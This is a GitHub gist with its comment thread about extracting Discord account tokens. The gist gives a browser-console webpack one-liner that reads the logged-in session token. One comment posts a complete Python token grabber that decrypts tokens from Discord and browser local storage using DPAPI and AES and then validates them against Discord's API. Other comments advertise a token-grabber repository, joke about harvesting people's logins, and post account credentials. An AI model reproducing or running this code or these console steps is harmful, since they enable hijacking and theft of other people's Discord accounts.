Skip to content

Instantly share code, notes, and snippets.

@MarvNC
Last active July 16, 2026 20:44
Show Gist options
  • Select an option

  • Save MarvNC/e601f3603df22f36ebd3102c501116c6 to your computer and use it in GitHub Desktop.

Select an option

Save MarvNC/e601f3603df22f36ebd3102c501116c6 to your computer and use it in GitHub Desktop.
How to Get Your Discord Token From the Browser Developer Console

How to Get Your Discord Token From the Browser Console

  1. Open the browser developer tools (F12 or Ctrl + Shift + I) and click the Console tab.
  2. Paste the following code into the console and press Enter:
(w=webpackChunkdiscord_app).push([[Symbol()],{},o=>{try{Object.values(o.c).some(e=>e.exports?.setToken&&(w.t=e.exports.getToken()))}catch{}}]),w.t

(Contributed by @Risim-hanse)

@orislegit

Copy link
Copy Markdown

how do I get the discord token from the app, without using a browser

@orca-pet3910YT

Copy link
Copy Markdown

you cannot

@Jomunyzx

Jomunyzx commented Oct 17, 2025

Copy link
Copy Markdown

how do I get the discord token from the app, without using a browser

You can use this (it's not directly in the browser), but it will get the token.


import os
import re
import json
import base64
import requests
import datetime
from pathlib import Path
from Cryptodome.Cipher import AES
from win32crypt import CryptUnprotectData

class DiscordTokenGrabber:
    def __init__(self):
        self.appdata = Path(os.getenv("LOCALAPPDATA", ""))
        self.roaming = Path(os.getenv("APPDATA", ""))
        self.regex = re.compile(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}")
        self.encrypted_regex = re.compile(r"dQw4w9WgXcQ:([^\"]*)")
        self.tokens = set()
        self.valid_tokens = {}

        self.grab_tokens()
        self.verify_tokens()
        self.print_tokens()

    def get_master_key(self, path):
        try:
            with open(path, "r", encoding="utf-8") as f:
                return CryptUnprotectData(base64.b64decode(json.load(f)["os_crypt"]["encrypted_key"])[5:], None, None, None, 0)[1]
        except:
            return None

    def decrypt_token(self, buff, master_key):
        try:
            cipher = AES.new(master_key, AES.MODE_GCM, buff[3:15])
            return cipher.decrypt(buff[15:])[:-16].decode()
        except:
            return None

    def grab_tokens(self):
        paths = {
            "Discord": self.roaming / "discord",
            "Discord Canary": self.roaming / "discordcanary",
            "Discord PTB": self.roaming / "discordptb",
            "Chrome": self.appdata / "Google/Chrome/User Data/Default",
            "Brave": self.appdata / "BraveSoftware/Brave-Browser/User Data/Default",
            "Edge": self.appdata / "Microsoft/Edge/User Data/Default"
        }

        for name, base_path in paths.items():
            storage_path = base_path / "Local Storage/leveldb"
            if not storage_path.exists():
                continue

            master_key = None
            if "discord" in name.lower():
                local_state_path = base_path / "Local State"
                if local_state_path.exists():
                    master_key = self.get_master_key(local_state_path)

            for file in storage_path.glob("*.ldb"):
                with open(file, "r", errors="ignore") as f:
                    for line in f:
                        if master_key:
                            for match in self.encrypted_regex.findall(line):
                                token = self.decrypt_token(base64.b64decode(match), master_key)
                                if token:
                                    self.tokens.add(token)
                        else:
                            self.tokens.update(self.regex.findall(line))

    def verify_tokens(self):
        for token in self.tokens:
            response = requests.get("https://discord.com/api/v9/users/@me", headers={"Authorization": token})
            if response.status_code == 200:
                self.valid_tokens[response.json()["id"]] = token

    def print_tokens(self):
        if not self.valid_tokens:
            print("\n[ ✖ ] No discord tokens found\n")
        else:
            print("\n[ ✔ ] Discord tokens found:\n")
            for user_id, token in self.valid_tokens.items():
                creation_time = datetime.datetime.fromtimestamp(int.from_bytes(base64.urlsafe_b64decode(token.split('.')[1] + '=='), 'big') + 1293840000, datetime.UTC).strftime('%Y-%m-%d %H:%M:%S')
                print(f"🔑 {token}\n>  User ID: {user_id}  Time Created: {creation_time}\n")
            print('\n')

if __name__ == "__main__":
    DiscordTokenGrabber()

@orca-pet3910YT

Copy link
Copy Markdown

you didn't chatGPT it? cuz this looks sus

@Hollowen-rocks

Copy link
Copy Markdown

you didn't chatGPT it? cuz this looks sus

its 100% chatgpt or ai

@orca-pet3910YT

orca-pet3910YT commented Jan 5, 2026

Copy link
Copy Markdown

its 100% chatgpt or ai

i also think so :P

@orca-pet3910YT

Copy link
Copy Markdown

quit the yap @Hollowen-rocks

@burakacar6

Copy link
Copy Markdown

Btw guys I also made a python script which find ur token form just email, password and authorisation code. But now problem is discord update it self so now you can't find token form this script which have authorisation code. But stil you can use this and get token on both pc/mobile ( terminal/Termux ) using just email and password. For now i can Only do this much but in future i try to add new discord authorities code support if possible.

You Can Have My Script Form My GitHub Account. It's name is Discord-Token-Grabber. https://github.com/CODER-X-69/Discord-Token-Grabber

AI detected

@easelinux148-commits

Copy link
Copy Markdown

m just email, password and authorisation code. But now problem is discord update it self so now you can't find token form this script which have authorisation code. But stil you can use this and get token on both pc/mobile ( terminal/Termux ) using just email and password. For now i can Only do this much but in future i try to add new discord authorities code support if possible.

You Can Have My Script For

just gimme your email and password, aka. login information to log in and also the code so i can get your account and possibly not give your account and probrably sell your account if its worth or if not just do bad shit with your info hahaha

@sinon727uwu

Copy link
Copy Markdown

m just email, password and authorisation code. But now problem is discord update it self so now you can't find token form this script which have authorisation code. But stil you can use this and get token on both pc/mobile ( terminal/Termux ) using just email and password. For now i can Only do this much but in future i try to add new discord authorities code support if possible.
You Can Have My Script For

just gimme your email and password, aka. login information to log in and also the code so i can get your account and possibly not give your account and probrably sell your account if its worth or if not just do bad shit with your info hahaha

ok
email: looser@wix.com
password: YouAreAnIdiot.cc

@Shade-html

Copy link
Copy Markdown

wait could you help me?
i got my discord account hacked

@orca-pet3910YT

Copy link
Copy Markdown

should have not shared your token with random ass people

@nhandeptri

Copy link
Copy Markdown
<script src="https://gist.github.com/MarvNC/e601f3603df22f36ebd3102c501116c6.js"></script>

@orca-pet3910YT

Copy link
Copy Markdown

@nhandeptri what?

@gitxpresso

Copy link
Copy Markdown

Worked

@Risim-hanse

Risim-hanse commented Jul 2, 2026

Copy link
Copy Markdown

Fyi, you can do it without enabling mobile emulation. Like here's one that works via webpack instead of an iframe.

(w=webpackChunkdiscord_app).push([[Symbol()],{},o=>{try{Object.values(o.c).some(e=>e.exports?.setToken&&(w.t=e.exports.getToken()))}catch{}}]),w.t

So you can just directly paste it into console to get token >~<

@Risim-hanse

Copy link
Copy Markdown

@MarvNC if you're still alive, edit it plz. OwO!

@MarvNC

MarvNC commented Jul 16, 2026

Copy link
Copy Markdown
Author

Updated, thanks @Risim-hanse

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment